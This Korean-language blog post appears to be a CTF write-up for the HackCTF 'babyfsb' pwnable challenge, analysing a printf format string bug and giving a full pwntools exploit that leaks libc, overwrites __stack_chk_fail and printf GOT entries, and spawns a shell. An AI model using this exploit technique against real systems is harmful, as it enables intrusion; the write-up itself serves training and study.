tmxklab

[HackCTF/Pwnable] babyfsb 본문

War Game/HackCTF

[HackCTF/Pwnable] babyfsb

tmxk4221 2020. 8. 15. 20:07

1. 문제

nc ctf.j0n9hyun.xyz 3032

 

1) mitigation 확인

 

2) 문제 확인

 

3) 코드 흐름 확인

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-40h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("hello");
  read(0, &buf, 0x40uLL);
  printf(&buf);
  return 0;
}
  • buf에 0x40만큼 입력을 받을 수 있음
  • printf(&buf)에서 fsb 취약점 발생

 


2. 접근방법

 

1) 주소 leak

  • 스택에 __libc_start_main+240의 주소 값 확인

  • 15번쨰에 __libc_start_main+240주소 leak가능
  • 해당 주소를 통해 libc base주소를 구하면됨

 

위 과정을 통해 libc base 주소를 구할 수는 있지만 printf문 한 번실행하고 끝나므로 다음 과정을 진행하지 못한다.

 

해당 문제는 카나리가 걸려있어 함수 에필로그가 끝나기전에 카나리 값이 변경되었는지 검사하며 카나리 값이 변경되면 __stack_chk_fail함수를 호출한다.

따라서, 해당 함수를 이용하여 다시 메인 함수로 돌아가게 만든다.

  • __stack_chk_fail함수도 got 존재

 

2) __stack_chk_fail got overwrite

  • __stack_chk_fail@got값은 0x400556이고 main함수 주소는 0x4006a6이다.
  • 하위 2bytes만 덮어쓰면 될 듯하다.

  • got값이 변경되었고 0x40bytes 꽉 채워서 받으면 카나리 값도 변경된다.
  • 따라서, 해당 함수를 호출할 수 있게 되고 다시 메인함수로 돌아간다.

 

공격 프로세스)

  • __libc_start_main+240주소 값을 릭하고 __stack_chk_fail@got값을 main함수로 바꾸고 40byte꽉 채워서 보낸다.
  • libc base주소를 알아내어 printf@got값을 system함수로 변경하고 다시 40byte꽉 채워서 보낸다.
  • buf에 "/bin/sh"문자열을 넣는다.

 


3. 풀이

 

1) 익스 코드

from pwn import *

#context.log_level = "debug"

#p = process("./babyfsb")
p = remote("ctf.j0n9hyun.xyz", 3032)
e = ELF("./babyfsb")
libc = ELF("/home/cmc/Desktop/lib_hack/babyfsb/libc.so.6")
#gdb.attach(p, """b*0x400707""")

main_addr = e.symbols['main']
stackfail_got = e.got['__stack_chk_fail']
printf_got = e.got['printf']

start_main_offset = libc.symbols['__libc_start_main']
system_offset = libc.symbols['system']
main_low = main_addr & 0xffff

log.info("main addr                : "+hex(main_addr))
log.info("__stack_chk_fail got     : "+hex(stackfail_got))
log.info("__libc_start_main offset : "+hex(start_main_offset))

# 1. Input __stack_chk_fail@got -> main_addr 
# libc_start_main+240 leak 
payload = "%" + str(main_low) + "c"
payload += "%8$hn"
payload += "%15$p"
payload += p64(stackfail_got)
payload += "A"*(0x40 - len(payload))

p.sendafter("\n", payload)

p.recvuntil("0x")
start_main = int(p.recv(12), 16)
start_main -= 240
libc_base = start_main - start_main_offset
system_addr = libc_base + system_offset
system_low = system_addr & 0xffff
system_mid = (system_addr >> 16) & 0xffff
system_high = (system_addr >> 32) & 0xffff

log.info("strat_main   : "+hex(start_main))
log.info("libc base    : "+hex(libc_base))
log.info("system_addr : "+hex(system_addr))
log.info("system_low  : "+hex(system_low))
log.info("system_mid  : "+hex(system_mid))
log.info("system_high : "+hex(system_high))

if system_mid > system_low:
	system_mid = system_mid - system_low
else:
	system_mid = 0x10000 + system_mid - system_low

if system_high > (system_mid + system_low):
	system_high = system_high - (system_mid + system_low)
else:
	system_high = 0x10000 + system_high - system_mid - system_low

log.info("system_low   : "+hex(system_low))
log.info("system_mid   : "+hex(system_mid))
log.info("system_high  : "+hex(system_high))

payload = "%" + str(system_low) + "c"
payload += "%11$hn"
payload += "%" + str(system_mid) + "c"
payload += "%12$hn"
payload += "%" + str(system_high) + "c"
payload += "%13$hn"
payload += "A"*(8 - len(payload)%8)
payload += p64(printf_got)
payload += p64(printf_got+2)
payload += p64(printf_got+4)
payload += "A"*(0x40-len(payload))

p.sendafter("\n", payload)

p.sendafter("\n", "/bin/sh\x00")

p.interactive()

 

2) 실행결과

 

그냥 got에 원샷 가젯을 넣어도 된다.

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] Unexploitable #3  (0) 2020.08.15
[HackCTF/Pwnable] ChildHeap  (0) 2020.08.15
[HackCTF/Pwnable] j0n9hyun's secret  (0) 2020.08.15
[HackCTF/Pwnable] babyheap  (0) 2020.08.15
[HackCTF/Pwnable] Unexploitable #2  (0) 2020.08.15
Comments